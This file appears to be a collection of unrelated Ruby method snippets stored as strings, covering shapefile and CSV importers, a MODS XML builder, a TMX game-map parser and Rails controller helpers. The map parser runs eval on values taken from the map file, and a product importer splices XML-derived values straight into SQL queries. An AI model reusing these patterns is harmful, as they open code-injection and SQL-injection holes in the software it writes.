"def load_shapefile(shp_name)\n Rails.logger.info \"Reading Shapes into #{@model.to_s} Table...\"\n # Execute read Shapefile\n begin\n RGeo::Shapefile::Reader.open(shp_name,\n assume_inner_follows_outer: true,\n factory: RGeo::ActiveRecord::SpatialFactoryStore.instance.default) do |shapefile|\n\n fail_count = 0\n if @model.name == CustomGeography.name && Config.dashboard_mode == 'travel_patterns'\n attrs = {}\n if shapefile.num_records > 1\n @errors << 'Found multiple features while creating a custom geography. Uploader only accepts one feature'\n else\n first_shape = shapefile.get(0)\n attrs[:name] = first_shape.attributes[@column_mappings[:name]] if @column_mappings[:name]\n attrs[:state] = StateCodeDictionary.code(42) if @column_mappings[:state]\n #attrs[:state] = StateCodeDictionary.code(first_shape.attributes[@column_mappings[:state]]) if @column_mappings[:state]\n geom = first_shape.geometry\n Rails.logger.info \"Loading #{attrs.values.join(\",\")}...\"\n record = ActiveRecord::Base.logger.silence do\n @custom_geo = @model.create({ name: @name, agency: @agency })\n @custom_geo.update_attributes(geom:geom)\n # generally, the only error we're going to get are either the shapefile is invalid\n # or the name was taken already\n if @custom_geo.errors.present?\n @errors << \"#{@custom_geo.errors.full_messages.to_sentence} for #{@custom_geo.name}.\"\n else\n @custom_geo\n end\n end\n end\n if record\n Rails.logger.info \" SUCCESS!\"\n else\n Rails.logger.info \" FAILED.\"\n fail_count += 1\n end\n else\n shapefile.each do |shape|\n attrs = {}\n attrs[:name] = shape.attributes[@column_mappings[:name]] if @column_mappings[:name]\n attrs[:state] = StateCodeDictionary.code(42) if @column_mappings[:state]\n #attrs[:state] = StateCodeDictionary.code(shape.attributes[@column_mappings[:state]]) if @column_mappings[:state]\n geom = shape.geometry\n Rails.logger.info \"Loading #{attrs.values.join(\",\")}...\"\n\n # NOTE: the below probably needs an update since it's pretty old\n # if the record fails to create, then we can just check for record errors and push those in\n # instead of doing a weird thing with active record logger\n record = ActiveRecord::Base.logger.silence do\n # The below is overly verbose for debugging purposes\n geo = @model.find_or_create_by!(attrs)\n geo.update_attributes!(geom:geom)\n geo\n end\n if record\n Rails.logger.info \" SUCCESS!\"\n else\n Rails.logger.info \" FAILED.\"\n fail_count += 1\n end\n end\n end\n @errors << \"#{fail_count} record(s) failed to load.\" if fail_count > 0\n end\n rescue StandardError => ex\n puts ex.message\n @errors << \"An error occurred while unpacking the uploaded Shapefile. Please double check your shapefile and try again\"\n end\n end",
"def initialize(material)\n @material = material\n end",
"def mods_from_barcode\n\t\tbegin\n\t\t\t@bc = params[:mdpi_barcode]\n\t\t\tpo = PhysicalObject.where(mdpi_barcode: @bc).first\n\t\t\tif po.nil?\n\t\t\t\t@msg = \"Could not find an record with MDPI Barcode: #{@bc}\"\n\t\t\telsif !po.digitized\n\t\t\t\t@mods_title_id = po.titles.first.id\n\t\t\telse\n\t\t\t\t# it's possible, although highly unlikely, that a physical object would have more than 1 title association AND\n\t\t\t\t# have been pulled for digitization more than once through multiple titles. In this case, there is no way to know\n\t\t\t\t# which title record we need to generate MODS for... Carmel understands this and is okay with this service\n\t\t\t\t# returning the -first- title's MODS data, of all that were selected for digitization.\n\t\t\t\t@mods_title_id = po.component_groups.where(group_type: ComponentGroup::REFORMATTING_MDPI).first.title_id\n\t\t\tend\n\t\t\tif @msg\n\t\t\t\t@builder = Nokogiri::XML::Builder.new do |xml|\n\t\t\t\t\txml.error @msg\n\t\t\t\tend\n\t\t\t\trender xml: @builder.to_xml, status: 404\n\t\t\telse\n\t\t\t\t@title = Title.find(@mods_title_id)\n\t\t\t\t@builder = Nokogiri::XML::Builder.new do |xml|\n\t\t\t\t\txml.mods( \"xmlns:xsi\": \"http://www.w3.org/2001/XMLSchema-instance\", \"xmlns\": \"http://www.loc.gov/mods/v3\", \"xsi:schemaLocation\": \"http://www.loc.gov/mods/v3 http://www.loc.gov/standards/mods/v3/mods-3-4.xsd\") do\n\t\t\t\t\t\txml.titleInfo(\"usage\": \"primary\") {\n\t\t\t\t\t\t\txml.title_ @title.title_text\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t# creators\n\t\t\t\t\t\[email protected]_creators.each do |tc|\n\t\t\t\t\t\t\txml.name(\"type\": \"corporate\", \"usage\": \"primary\") do\n\t\t\t\t\t\t\t\txml.namePart_ tc.name\n\t\t\t\t\t\t\t\txml.role_ do\n\t\t\t\t\t\t\t\t\txml.roleTerm(\"authority\": \"marcrelator\", \"type\": \"code\") {\n\t\t\t\t\t\t\t\t\t\txml.text \"pro\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\txml.roleTerm(\"authority\": \"marcrelator\", \"type\": \"text\") {\n\t\t\t\t\t\t\t\t\t\txml.text tc.role\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\txml.typeOfResource_ ModsHelper.mods_type_of_resource(@title)\n\n\t\t\t\t\t\t# keep track of whichever dates for the title are not used in dateIssued or temporal elements\n\t\t\t\t\t\tremaining_dates = @title.title_dates\n\t\t\t\t\t\txml.originInfo {\n\t\t\t\t\t\t\txml.place_ {\n\t\t\t\t\t\t\t\txml.placeTerm_(\"type\": \"code\", \"authority\": \"marccountry\") {\n\t\t\t\t\t\t\t\t\txml.text \"---\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\txml.issuance_ {\n\t\t\t\t\t\t\t\txml.text \"monographic\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tdate = @title.title_dates.where(date_type: 'Publication Date').first\n\t\t\t\t\t\t\tdate = @title.title_dates.where(date_type: 'TBD').first if date.nil?\n\t\t\t\t\t\t\tremaining_dates = remaining_dates - [date]\n\t\t\t\t\t\t\txml.dateIssued(\"encoding\": \"edtf\") {\n\t\t\t\t\t\t\t\txml.text(date.nil? ? \"unknown/unknown\" : date.date_text)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\[email protected]_publishers.each do |p|\n\t\t\t\t\t\t\t\txml.publisher_ p.name\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\t\tunmapped_languages = []\n\t\t\t\t\t\[email protected]_objects.collect{|p| p.languages.collect(&:language)}.flatten.uniq.each do |l|\n\t\t\t\t\t\t\tif ModsHelper.marc_code(l).nil?\n\t\t\t\t\t\t\t\tunmapped_languages << l\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\txml.language {\n\t\t\t\t\t\t\t\t\txml.languageTerm_(\"type\":\"code\", \"authority\":\"iso639-2b\") {\n\t\t\t\t\t\t\t\t\t\txml.text ModsHelper.marc_code(l)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\txml.languageTerm_(\"type\":\"text\") {\n\t\t\t\t\t\t\t\t\t\txml.text ModsHelper.marc_text(l)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\[email protected]_genres.each do |g|\n\t\t\t\t\t\t\txml.genre_ g.genre\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\txml.physicalDescription { xml.internetMediaType_ \"application/octet-stream\" }\n\t\t\t\t\t\txml.abstract_ @title.summary\n\t\t\t\t\t\txml.note_(\"type\":\"general\") { xml.text @title.notes } unless @title.notes.blank?\n\t\t\t\t\t\tunmapped_languages.each do |l|\n\t\t\t\t\t\t\txml.note_(\"type\":\"language\") {\n\t\t\t\t\t\t\t\txml.text l\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tend\n\t\t\t\t\t\tremaining_dates = remaining_dates.select{|d| d.date_type != \"Content Date\"}\n\t\t\t\t\t\tremaining_dates.each do |date|\n\t\t\t\t\t\t\txml.note_(\"type\":\"general\") {\n\t\t\t\t\t\t\t\txml.text(\"#{date.date_type}: #{date.date_text}\")\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tend\n\t\t\t\t\t\txml.subject_ {\n\t\t\t\t\t\t\txml.topic_ {\n\t\t\t\t\t\t\t\txml.text @title.subject\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\[email protected]_dates.where(date_type: 'Content Date').each do |d|\n\t\t\t\t\t\t\t\txml.temporal_ {\n\t\t\t\t\t\t\t\t\txml.text \"Content Date: #{d.date_text}\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\txml.relatedItem_(\"type\": \"original\") {\n\t\t\t\t\t\t\txml.physicalDescription {\n\t\t\t\t\t\t\t\tformats = @title.physical_objects.collect{|p| p.medium }.uniq\n\t\t\t\t\t\t\t\tif formats.include?(\"Film\")\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"gmd\") { xml.text \"motion picture\"}\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"marccategory\") { xml.text \"motion picture\"}\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"marcsmd\") { xml.text \"film reel\"}\n\t\t\t\t\t\t\t\telsif formats.include?('Video')\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"gmd\") { xml.text \"video recording\"}\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"marccategory\") { xml.text \"video recording\"}\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"marcsmd\") { xml.text \"videoreel\"}\n\t\t\t\t\t\t\t\telsif formats.include?(\"Recorded Sound\")\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"gmd\") { xml.text \"#{p.medium} recording\"}\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"marccategory\") { xml.text \"#{p.medium} recording\"}\n\t\t\t\t\t\t\t\t\txml.formAuthority_(\"authority\": \"marcsmd\") { xml.text \"#{p.medium}\"}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\traise \"Unsupported Format type for MODS record creation: #{formats.join(\", \")}\"\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\txml.physicalDescription {\n\t\t\t\t\t\t\t\txml.extent_ @title.mods_extent(po)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\txml.identier_(\"type\":\"local\") { xml.text \"filmdb:#{@title.id}\"}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\txml.recordInfo_ {\n\t\t\t\t\t\t\txml.descriptionStandard_ \"aarc\"\n\t\t\t\t\t\t\txml.recordCreationDate_(\"encoding\": \"iso8601\") { xml.text @title.created_at.iso8601(9) }\n\t\t\t\t\t\t\txml.recordChangeDate_(\"encoding\": \"iso8601\") { xml.text @title.updated_at.iso8601(9) }\n\t\t\t\t\t\t\txml.recordOrigin_ {\n\t\t\t\t\t\t\t\txml.text \"Converted from FilmDB record to MODS version 3.5 using MARC21slim2MODS3-5.xsl (Revision 1.106 2014/12/19), customized for the Avalon Media System\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\txml.recordIdentifier_(\"source\": \"local\") { xml.text \"filmdb:#{@title.id}\" }\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\trender xml: @builder.to_xml\n\t\t\tend\n\t\trescue => error\n\t\t\tputs error.message\n\t\t\tputs error.backtrace\n\t\t\tmsg = \"An unexpected error occurred requesting MODS for #{@bc}: #{error.message}. If this problem persists, please contact the Filmdb developer(s).\"\n\t\t\t@builder = Nokogiri::XML::Builder.new do |xml|\n\t\t\t\txml.error do\n\t\t\t\t\txml.short msg\n\t\t\t\t\txml.msg error.message\n\t\t\t\t\txml.backtrace.join('\\n')\n\t\t\t\tend\n\t\t\tend\n\t\t\trender xml: @builder.to_xml, status: 500\n\t\tend\n\tend",
"def load!; end",
"def read_tmx(file)\n filename = File.basename(file)\n map_name = filename.gsub('.tmx', '')\n\n tmx = File.open(file) { |f| Nokogiri::XML(f) }\n map_count = tmx.css('map').count\n map = tmx.css('map').first\n\n tiles_wide = map.attributes['width'].value.to_i\n tiles_high = map.attributes['height'].value.to_i\n\n # ========== Make sure that sucker is valid ==============\n raise \"No maps in this tmx?? #{filename}\" if map_count < 1\n raise \"More than one map in a tmx?? #{filename}\" if map_count > 1\n\n if map.attributes['orientation'].value != 'orthogonal'\n raise \"The tilemap #{filename} isn't orthogonal\"\n elsif map.attributes['tilewidth'].value != '32' || map.attributes['tileheight'].value != '32'\n raise \"The tilemap #{filename} doesn't use 32x32 tiles\"\n end\n\n # ============ Grab tilesets =============\n tilesets = []\n map.css('tileset').each do |tileset|\n attrs = tileset.attributes\n image = tileset.css('image').first # assuming one image lol...\n\n tilesets << Tileset.new(\n attrs['firstgid'].value.to_i,\n attrs['name'].value,\n attrs['tilewidth'].value.to_i,\n attrs['tileheight'].value.to_i,\n attrs['tilecount'].value.to_i,\n image.attributes['source'].value.gsub('assets/', ''),\n image.attributes['width'].value.to_i / 32\n )\n end\n # First tileset should be the one with the largest firstgid\n tilesets.sort! { |a, b| b.firstgid <=> a.firstgid }\n\n # ============== Grab layers ================\n layers = []\n found_collision_layer = false\n map.css('layer').each do |layer|\n attrs = layer.attributes\n data = layer.css('data').first # Assuming 1 data lol\n raise \"Tile encoding must be csv #{filename}\" if data.attributes['encoding'].value != 'csv'\n\n layers << Layer.new(\n attrs['name'].value.downcase.strip,\n attrs['width'].value.to_i,\n attrs['height'].value.to_i,\n data.content.split(',').map(&:to_i),\n {} # Sublayers come from multiple tilesets being used in one layer\n )\n\n if layers.last.collision?\n if found_collision_layer\n raise \"Two collision layers found in tilemap #{filename}\"\n else\n found_collision_layer = true\n end\n end\n end\n raise \"No collision layer found in tilemap #{filename} (intentional or no?)\" unless found_collision_layer\n\n # ============ Populate sublayers ============\n\n layers.each do |layer|\n layer.raw_data.each_with_index do |num, i|\n next if num == 0\n\n global_index = (num & 0x00FFFFFF)\n flags = (num & 0xFF000000) >> 24\n\n if (flags & (1 << 6)) != 0\n puts \"WARNING: #{filename} layer \\\"#{layer.name}\\\" tile #{i} is y-flipped - ignoring this flip.\"\n flags &= ~(1 << 6)\n end\n\n tileset = tilesets.find do |t|\n global_index - t.firstgid >= 0\n end\n index = global_index - tileset.firstgid\n\n layer.sublayers[tileset] ||= Sublayer.new(tileset, Array.new(layer.raw_data.size, -1), [])\n layer.sublayers[tileset].data[i] = (index | (flags << 24))\n end\n\n # Flip the sublayer data upside-down (for 0=bottom)\n layer.sublayers.values.each do |sublayer|\n new_data = sublayer.data.clone\n (0...tiles_wide).each do |x|\n (0...tiles_high).each do |y|\n new_data[y * tiles_wide + x] = sublayer.data[(tiles_high - y - 1) * tiles_wide + x]\n end\n end\n sublayer.data = new_data\n end\n\n # Compress sublayer data if necessary\n if layer.collision?\n # Collision layer should not be compressed and only have one sublayer\n raise \"collision layer has more than one tileset. #{filename}\" if layer.sublayers.size > 1\n else\n # Non-collision layers should all be compressed\n layer.sublayers.each do |tileset, sublayer|\n new_data = []\n compress_tilemap_data(sublayer.data).each do |entry|\n case entry\n when TileRepetition\n new_data += [entry.count, entry.tile_index]\n\n when TileAlternation\n new_data << -entry.count\n tile_indices = sublayer.data[entry.first_index...(entry.first_index + entry.count)]\n new_data += tile_indices\n\n else\n raise \"what\"\n end\n end\n sublayer.compressed_data = new_data\n end\n end\n end\n\n # ===== Grab imagelayers for parallax backgrounds =====\n image_layers = []\n map.css('imagelayer').each do |imagelayer|\n attrs = imagelayer.attributes\n\n struct = ImageLayer.new\n struct.name = attrs['name'].value\n struct.x = attrs['x'] ? attrs['x'].value : '0'\n struct.y = attrs['y'] ? attrs['y'].value : '0'\n struct.filename = imagelayer.css('image').first.attributes['source'].value\n\n IMAGE_LAYER_DEFAULTS.each do |field, default_value|\n if element = imagelayer.css(\"properties property[name='#{field}']\").first\n value = element.attributes['value'].value\n else\n value = default_value\n end\n struct.send(\"#{field}=\", value)\n end\n\n image_layers << struct\n end\n\n # ===== Grab object layers for whatever =====\n map_height = tiles_high.to_i * 32\n map_objects = []\n map.css('objectgroup object').each do |object|\n attrs = object.attributes\n\n struct = MapObject.new\n struct.id = attrs['id'].value\n struct.name = attrs['name'] ? attrs['name'].value : '<unnamed>'\n struct.x = (attrs['x'] ? attrs['x'].value : '0').to_i\n struct.y = map_height - (attrs['y'] ? attrs['y'].value : '0').to_i\n struct.width = (attrs['width'] ? attrs['width'].value : '0').to_i\n struct.height = (attrs['height'] ? attrs['height'].value : '0').to_i\n struct.type = attrs['type'].value.downcase.to_sym if attrs['type']\n struct.properties = {}\n\n object.css('properties property').each do |property|\n prop_attrs = property.attributes\n struct.properties[prop_attrs['name'].value] = prop_attrs['value'].value\n end\n\n map_objects << struct\n end\n\n map_options = MapOptions.new(1.15, 0.025)\n\n tmx.css('map > properties > property').each do |prop|\n attrs = prop.attributes\n\n case attrs['name'].value\n when 'gravity' then map_options.gravity = eval(attrs['value'].value)\n when 'drag' then map_options.drag = eval(attrs['value'].value)\n else puts \"UNKNOWN MAP PROPERTY #{attrs['name'].inspect}\"\n end\n end\n\n # === DONE ===\n Struct.new(:layers, :image_layers, :map_objects, :tiles_high, :tiles_wide, :name, :filename, :height, :options)\n .new( layers, image_layers, map_objects, tiles_high, tiles_wide, map_name, filename, map_height, map_options)\nend",
"def import(filename=\"import/study_units.csv\")\n require 'csv'\n CSV.foreach(filename, headers: true) do |row|\n @row = row.to_hash\n @study_unit = StudyUnit.where(study_id: id, name: @row[\"study_unit.name\"]).first ||\n StudyUnit.create(study_id: id, name: @row[\"study_unit.name\"])\n @logical_product = LogicalProduct.where(study_unit_id: @study_unit.id, name: @row[\"logical_product.name\"]).first ||\n LogicalProduct.create(study_unit_id: @study_unit.id, name: @row[\"logical_product.name\"])\n @concept = Concept.find_or_create_by_name(@row[\"concept.name\"])\n @variable_group = VariableGroup.where(logical_product_id: @logical_product.id, concept_id: @concept.id,\n name: @row[\"variable_group.name\"]).first ||\n VariableGroup.create(logical_product_id: @logical_product.id, concept_id: @concept.id,\n name: @row[\"variable_group.name\"], label: @row[\"variable_group.label\"])\n end\n end",
"def read_source(source_id, id_elem_hash, *expected_param_names)\n source_elem = id_to_elem(source_id, id_elem_hash)\n technique_common_elem = get_child_elem(source_elem, 'technique_common')\n accessor_elem = get_child_elem(technique_common_elem, 'accessor')\n param_names = []\n accessor_elem.elements.each('param') do |param_elem|\n param_name = get_attr_str(param_elem, 'name')\n param_type = get_attr_str(param_elem, 'type')\n if param_type != \"float\"\n raise ColladaError.new(\"<param>s with type=#{param_type} are not supported\")\n end\n param_names << param_name.upcase\n end\n expected_param_names = expected_param_names.map {|name| name.upcase}\n if expected_param_names != param_names\n raise ColladaError.new(\"got unexpected params #{param_names} in <accessor>. expected #{expected_param_names}.\")\n end\n\n accessor_count = get_attr_int(accessor_elem, 'count')\n accessor_stride = get_attr_int(accessor_elem, 'stride')\n if param_names.count != accessor_stride\n raise ColladaError.new(\"number of <param>s should match <accessor> stride value\")\n end\n\n array_elem = elem_url_ref_to_elem(accessor_elem, 'source', id_elem_hash)\n array_count = get_attr_int(array_elem, 'count')\n if array_count != accessor_count*accessor_stride\n raise ColladaError.new(\"<float_array> and <accessor> counts don't match\")\n end\n\n array_vals = read_float_array(array_elem)\n if array_vals.count != array_count\n raise ColladaError.new(\"actual number of vals in <float_array> doesn't match count attribute\")\n end\n if array_vals.count%accessor_stride != 0\n raise ColladaError.new(\"internal error\")\n end\n\n partition_array(array_vals, param_names.count, accessor_stride)\nend",
"def show\n @rawmaterial_category = RawmaterialCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rawmaterial_category }\n end\n end",
"def material_params\n params.require(:material).permit(:name, :description, :url, :archived)\n end",
"def import con, table, xml\n # Get all node in xml file that contains product information\n temp = getNodeValues(xml, '*//Products/Product')\n\n # Prepair data for fields that will add to database\n if !temp.nil? and temp.count > 0\n temp.each do |item|\n $catalog = item.at_xpath('Catalog').text\n if item.xpath('Price/Currency').text == 'USD'\n $price = '$' + '%0.2f' % item.xpath('Price/PriceTier/ListPrice').text.to_f\n else\n $price = ''\n end\n $appstatus = 'unknown'\n $sku = item.at_xpath('SkuCode').text\n $shorttitle = item.at_xpath('Name').text\n $platformcompatibility = ''\n $lpu = ''\n $lp2 = ''\n $lp1 = ''\n $lgs = ''\n $lex = ''\n $lpr = ''\n # --Process locale\n $us = ''\n $ca = ''\n $uk = ''\n $ie = ''\n $au = ''\n $row = ''\n $fr_fr = ''\n $fr_ca = ''\n $fr_row = ''\n $character = ''\n if $catalog.include? 'US_'\n $us = 'X'\n end\n if $catalog.include? 'UK_'\n $uk = 'X'\n end\n if $catalog.include? 'IE_'\n $ie = 'X'\n end\n if $catalog.include? 'AU_'\n $au = 'X'\n end\n if $catalog.include? 'ROW_'\n $row = 'X'\n end\n if $catalog.include? 'FR_FR_'\n $fr_fr = 'X'\n end\n if $catalog.include? 'FR_CA_'\n $fr_ca = 'X'\n else\n if $catalog.include? 'CA_'\n $ca = 'X'\n end\n end\n if $catalog.include? 'FR_ROW_'\n $fr_row = 'X'\n end\n # --End Process locale\n\n item.at_xpath('Attributes').elements.to_a.each do |i| # begin each child\n case i.attributes['Key'].text\n # Go live date maps with release date in database\n when \"releaseDate\"\n $golivedate = i.at_xpath('Values').text\n\n # long name maps with longtitle in database\n when \"longName_en\", \"longName_fr\"\n $longtitle = i.at_xpath('Values').text\n\n # Gender maps with gender in database\n when \"gender_en\", \"gender_fr\"\n genderflag = 0\n i.elements.to_a.each do |m|\n if m.name == 'Values'\n $gender = m.text.capitalize\n genderflag += 1\n end\n if genderflag == 2\n $gender = 'All'\n end\n end\n\n # Age Range Begin maps with agefrommonths in database\n when \"ageRangeBegin\"\n $agefrommonths = i.at_xpath('Values').text\n\n # Age Range End maps with agefrommonths in database\n when \"ageRangeEnd\"\n $agetomonths = i.at_xpath('Values').text\n\n # Skill maps with skill in database\n when \"skill_en\", \"skill_fr\"\n $skill = i.at_xpath('Values').text\n\n # curriculum maps with curriculum in database\n when \"curriculum_en\", \"curriculum_fr\"\n $curriculum = i.at_xpath('Values').text\n\n # Long Description maps with longdesc in database\n when \"longDescription_en\", \"longDescription_fr\"\n $longdesc = i.at_xpath('Values').text.gsub(\"\\\"\", \"\\\\\\\"\")\n\n # credits will map later\n $credits = 'unknown'\n\n #---------platformcompatibility process\n # worksWithLeapPad2_en maps with platformcompatibility in database\n when \"worksWithLeapPad2_en\", \"worksWithLeapPad2_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"LeapPad 2,\\n\"\n $lp2 = 'X'\n end\n # worksWithLeapPad_en maps with platformcompatibility in database\n when \"worksWithLeapPad_en\", \"worksWithLeapPad_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"LeapPad Explorer,\\n\"\n $lp1 = 'X'\n end\n # worksWithLeapPadUltra_en maps with platformcompatibility in database\n when \"worksWithLeapPadUltra_en\", \"worksWithLeapPadUltra_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"LeapPad Ultra,\\n\"\n $lpu = 'X'\n end\n # worksWithLeapster_en maps with platformcompatibility in database\n when \"worksWithLeapster_en\", \"worksWithLeapster_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"Leapster Explorer,\\n\"\n $lex = 'X'\n end\n # worksWithLeapsterGS_en maps with platformcompatibility in database\n when \"worksWithLeapsterGS_en\", \"worksWithLeapsterGS_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"LeapsterGS Explorer,\\n\"\n $lgs = 'X'\n end\n # worksWithLeapReader_en maps with platformcompatibility in database\n when \"worksWithLeapReader_en\", \"worksWithLeapReader_fr\"\n if i.at_xpath('Values').text == \"true\"\n $platformcompatibility += \"Leapreader,\\n\"\n $lpr = 'X'\n end\n #---------End platformcompatibility process\n\n # Special Message maps with speacialmsg in database\n when \"specialMessage_en\", \"specialMessage_fr\"\n if i.at_xpath('Values') != nil\n $specialmsg = i.at_xpath('Values').text\n end\n\n # Teaches maps with teaches in database\n when \"teaches_en\", \"teaches_fr\"\n $teaches = i.at_xpath('Values').text\n\n # License legal will be added later\n $licenselegal = 'unknown'\n\n # licensedContent will be added later\n $licnonlic = 'unknown'\n\n # License will be added later\n $license = 'unknown'\n\n # language will be added later\n $language = 'unknown'\n\n # Pricetier maps with pricetier\"\n when \"pricingTier\"\n $pricetier = i.at_xpath('Values').text + ' - ' + $price\n\n # contentType maps with category\n when \"contentType\"\n $category = i.at_xpath('Values').text\n\n # character maps with character\n when \"character\"\n i.elements.to_a.each do |m|\n if m.name=='Values'\n $character << ',' unless $character == ''\n $character << m.text\n end #if\n end # each\n\n end # end case\n end # end each child\n\n # Excute query to add data to database\n # -- Begin Process if sku has ready existed\n rowsku = con.query \"SELECT sku,us,ca,uk,ie,au,row,fr_fr,fr_ca,fr_row from #{table}\"\n skuexisted = 0\n rowsku.each_hash do |rs|\n if $sku == rs['sku']\n if rs['us'].downcase == 'x'\n $us = 'X'\n end\n if rs['ca'].downcase == 'x'\n $ca = 'X'\n end\n if rs['uk'].downcase == 'x'\n $uk = 'X'\n end\n if rs['ie'].downcase == 'x'\n $ie = 'X'\n end\n if rs['au'].downcase == 'x'\n $au = 'X'\n end\n if rs['row'].downcase == 'x'\n $row = 'X'\n end\n if rs['fr_fr'].downcase == 'x'\n $fr_fr = 'X'\n end\n if rs['fr_ca'].downcase == 'x'\n $fr_ca = 'X'\n end\n if rs['fr_row'].downcase == 'x'\n $fr_row = 'X'\n end\n\n skuexisted = 1\n break\n end # end if\n end # end each\n # -- End Process if sku has ready existed\n if skuexisted == 1\n if $pricetier.include? '$'\n con.query \"UPDATE #{table}\n SET golivedate = '#{$golivedate}', appstatus = '#{$appstatus}', shorttitle = \\\"#{$shorttitle}\\\", longtitle = \\\"#{$longtitle}\\\", gender = '#{$gender}', agefrommonths = '#{$agefrommonths}', agetomonths = '#{$agetomonths}', skill = '#{$skill}', curriculum = \\\"#{$curriculum}\\\", longdesc = \\\"#{$longdesc}\\\", credits = '#{$credits}', platformcompatibility = '#{$platformcompatibility}', specialmsg = \\\"#{$specialmsg}\\\",teaches = \\\"#{$teaches}\\\",licenselegal = '#{$licenselegal}', licnonlic = '#{$licnonlic}', license = '#{$license}', language = '#{$language}', pricetier = '#{$pricetier}', category = '#{$category}', us = '#{$us}', ca = '#{$ca}', uk = '#{$uk}', ie = '#{$ie}', au = '#{$au}', row = '#{$row}', fr_fr = '#{$fr_fr}', fr_ca = '#{$fr_ca}', fr_row = '#{$fr_row}', lpu = '#{$lpu}', lp2 = '#{$lpu}', lp1 = '#{$lp1}', lgs = '#{$lgs}', lex = '#{$lex}', lpr = '#{$lpr}', lf_char = \\\"#{$character}\\\"\n WHERE sku = '#{$sku}';\"\n else\n con.query \"UPDATE #{table}\n SET golivedate = '#{$golivedate}', appstatus = '#{$appstatus}', shorttitle = \\\"#{$shorttitle}\\\", longtitle = \\\"#{$longtitle}\\\", gender = '#{$gender}', agefrommonths = '#{$agefrommonths}', agetomonths = '#{$agetomonths}', skill = '#{$skill}', curriculum = \\\"#{$curriculum}\\\", longdesc = \\\"#{$longdesc}\\\", credits = '#{$credits}', platformcompatibility = '#{$platformcompatibility}', specialmsg = \\\"#{$specialmsg}\\\",teaches = \\\"#{$teaches}\\\",licenselegal = '#{$licenselegal}', licnonlic = '#{$licnonlic}', license = '#{$license}', language = '#{$language}', category = '#{$category}', us = '#{$us}', ca = '#{$ca}', uk = '#{$uk}', ie = '#{$ie}', au = '#{$au}', row = '#{$row}', fr_fr = '#{$fr_fr}', fr_ca = '#{$fr_ca}', fr_row = '#{$fr_row}', lpu = '#{$lpu}', lp2 = '#{$lpu}', lp1 = '#{$lp1}', lgs = '#{$lgs}', lex = '#{$lex}', lpr = '#{$lpr}', lf_char = \\\"#{$character}\\\"\n WHERE sku = '#{$sku}';\"\n end\n else\n con.query \"INSERT INTO #{table} (golivedate,appstatus,sku,shorttitle,longtitle,gender,agefrommonths,agetomonths,skill,curriculum,longdesc,credits,platformcompatibility,specialmsg,teaches,licenselegal,licnonlic,license,language,pricetier,category,us,ca,uk,ie,au,row,fr_fr,fr_ca,fr_row,lpu,lp2,lp1,lgs,lex,lpr,lf_char)\n VALUES ('#{$golivedate}','#{$appstatus}','#{$sku}',\\\"#{$shorttitle}\\\",\\\"#{$longtitle}\\\",'#{$gender}','#{$agefrommonths}','#{$agetomonths}','#{$skill}',\\\"#{$curriculum}\\\",\\\"#{$longdesc}\\\",'#{$credits}','#{$platformcompatibility}',\\\"#{$specialmsg}\\\",\\\"#{$teaches}\\\",'#{$licenselegal}','#{$licnonlic}',\n '#{$license}','#{$language}','#{$pricetier}','#{$category}','#{$us}','#{$ca}','#{$uk}','#{$ie}','#{$au}','#{$row}','#{$fr_fr}','#{$fr_ca}','#{$fr_row}','#{$lpu}','#{$lp2}','#{$lp1}','#{$lgs}','#{$lex}','#{$lpr}',\\\"#{$character}\\\");\"\n end\n end # enc each parent\n else\n raise 'An error occurred. Please try again or contact your administrator.'\n end\n end",
"def set_material\n begin\n @material = type.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to materials_path, alert: \"Could not find #{type.name.split(':').last} with ID #{params[:id]}!\"\n end\n end",
